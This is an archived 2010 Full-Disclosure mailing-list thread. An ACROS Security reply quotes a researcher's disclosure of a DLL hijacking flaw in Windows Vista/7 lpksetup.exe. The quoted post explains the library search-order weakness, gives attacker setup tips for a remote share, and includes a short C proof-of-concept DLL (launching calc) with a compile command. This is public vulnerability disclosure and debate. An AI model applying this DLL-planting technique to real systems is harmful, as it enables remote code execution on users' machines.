lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <4C9ADC452739485B8DC4D2BCD6D4C493@acros.si>
Date: Tue, 26 Oct 2010 00:02:57 +0200
From: "ACROS Security Lists" <lists@...os.si>
To: "'Thor \(Hammer of God\)'" <thor@...merofgod.com>,
	"'Tyler Borland'" <tborland1@...il.com>,
	"'Full-Disclosure mailing list'" <full-disclosure@...ts.grok.org.uk>
Cc: bugtraq@...urityfocus.com
Subject: Re: Windows Vista/7 lpksetup dll hijack

Hi Thor, 

Thanks to Microsoft's "defense in depth," double-clicking an .exe from a remote share
pops up a security warning. In contrast, double-clicking a data file that opens a
vulnerable application (which downloads and executes a .dll from the same share)
doesn't trigger such security warning. You might argue that users don't care about
such warnings and you might be right.

On the upside (or downside, depending on one's role in this game), our researchers
have already found an attack vector for binary planting (a superset of dll hijacking)
that works entirely through a web browser and only requires two single clicks
anywhere on the page - which is what we all do when we browse web pages. So if luring
a user to a remote share and hoping he would double-click a file seems unrealistic,
this might change your mind. And it's important that security leaders - like yourself
- understand this so that the followers won't be lured into a false sense of security
by considering remote attacks merely hypothetical. I'm afraid every single instance
of this bug we've seen so far is remotely exploitable in a practical enough way that
even the highly-aware and cautious people like the members of this list can easily be
hacked.

Cheers,
Mitja

Mitja Kolsek
CEO&CTO

ACROS, d.o.o.
Makedonska ulica 113
SI - 2000 Maribor, Slovenia
tel: +386 2 3000 280
fax: +386 2 3000 282
web: http://www.acrossecurity.com

ACROS Security: Finding Your Digital Vulnerabilities Before Others Do
 

> If you are considering this "Remote Code Execution" then why 
> not just have the victim run an .exe from the "complete 
> anonymous share" you've managed to get people connected to 
> and save all the trouble?   This would still run as the user 
> context, and if the hijacked DLL tried to do something a 
> normal user couldn't do then it too would be blocked or fail anyway.  
> 
>  
> 
> t
> 
>  
> 
> From: full-disclosure-bounces@...ts.grok.org.uk 
> [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf 
> Of Tyler Borland
> Sent: Monday, October 25, 2010 1:55 PM
> To: Full-Disclosure mailing list
> Cc: bugtraq@...urityfocus.com
> Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
> 
>  
> 
> /*
> Exploit:       Windows Vista/7 lpksetup.exe (oci.dll) DLL 
> Hijacking Vulnerability
> Extension:  .mlc
> Author:       Tyler Borland (tborland1@...il.com)
> Date:          10/20/2010
> Tested on:  Windows 7 Ultimate (Windows Vista 
> Ultimate/Enterpries and Windows 7 Enterprise should be 
> vulnerable as well)
> Effect:        Remote Code Execution
> 
> lpksetup is the language pack installer that is included by 
> default with Windows Vista/7 Ultimate or Enterprise editions. 
>  By opening a .mlc file through something like an open SMB or 
> WebDav share, the oci.dll file will be grabbed and ran in the 
> context of the vulnerable application.
> 
> This is a LoadLibrary() load path bug.  The load library 
> search order is:
>    1. The directory from which the application loaded
>    2. 32-bit System directory (Windows\System32)
>    3. 16-bit System directory (Windows\System)
>    4. Windows directory (Windows)
>    5. Current working directory
>    6. Directories in the PATH environment variable As 
> OracleOciLib is not used on target system, oci.dll does not 
> exist, so if a full path is not supplied when calling the dll 
> or the search path has not been cleared before the call, we 
> will hit our fifth search path and load the library from the 
> remote filesystem.
> 
> Interestingly enough, while lpksetup is blocked for execution 
> by UAC under a normal user, the injected library (payload) 
> will still execute.
> Exploiters make sure your system's security policy, 
> secpol.msc, allows complete anonymous share access for 
> connecting users.
> Outlook links seem to be the current exploit toyland, other 
> vectors:  http://www.binaryplanting.com/attackVectors.htm 
> <http://www.binaryplanting.com/attackVectors.htm>
> */
> 
> #include <windows.h>
>  
> int main()
> {
>   WinExec("calc", SW_NORMAL);  // the typical non-lethal PoC
>   exit(0);
>   return 0;
> }
>  
> BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, 
> LPVOID lpvReserved) {
>   main();
>   return 0;
> }
> 
> /* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
> 
> 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ